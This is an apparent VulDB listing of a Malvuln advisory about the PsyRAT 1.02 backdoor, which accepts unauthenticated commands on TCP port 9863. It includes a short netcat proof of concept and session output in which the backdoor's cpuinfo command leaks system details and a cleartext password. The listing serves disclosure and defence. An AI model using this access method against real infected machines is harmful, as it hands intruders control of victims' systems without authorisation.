| タイトル | Backdoor.Win32.PsyRat.b / Unauthenticated Remote Command Execution |
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| 説明 | Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/5817183894cb513239f6aef28895130c.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.PsyRat.b
Vulnerability: Unauthenticated Remote Command Execution
Description: The PsyRAT 1.02 malware listens by default on TCP port 9863, but can be changed when building backdoor servers. Third-party attackers who can reach infected systems can execute commands made available by the backdoor. The backdoors cpuinfo command will leak system details including cleartext password.
Type: PE32
MD5: 5817183894cb513239f6aef28895130c
Vuln ID: MVID-2021-0306
Dropped files: server.exe
Disclosure: 07/26/2021
Exploit/PoC:
nc64.exe x.x.x.x 9863
PASS
BADPWD
Invalid command
whatami
you are a loser
whatismyip
192.168.18.130
cpuinfo
Windows Version: |System Directory: C:\WINDOWS\system32|Computer Name: DESKTOP-3C4IJHO|Username: Victim|CPU Speed: 2808 MHz|CPU Type: GenuineIntel|------|PsyRAT Version: PsyRAT 1.02|IP/Port: 192.168.18.130:9863|Password: abc123|Install name: winhost.exe|Reg value: Windows Host|PHP URL: http://yourdomain.com/log.php
Invalid command.
version
PsyRAT 0.01 BETA
getdrives
C:\ - Fixed Drive^D:\ - CD-ROM^
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM). |
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| ソース | ⚠️ https://malvuln.com/advisory/5817183894cb513239f6aef28895130c.txt |
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| ユーザー | malvuln (UID 14984) |
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| 送信 | 2021年07月26日 22:22 (5 年 ago) |
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| モデレーション | 2021年07月27日 08:12 (10 hours later) |
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| ステータス | 承諾済み |
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| VulDBエントリ | 179676 [Backdoor.Win32.PsyRat.b Service Port 9863 特権昇格] |
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| ポイント | 20 |
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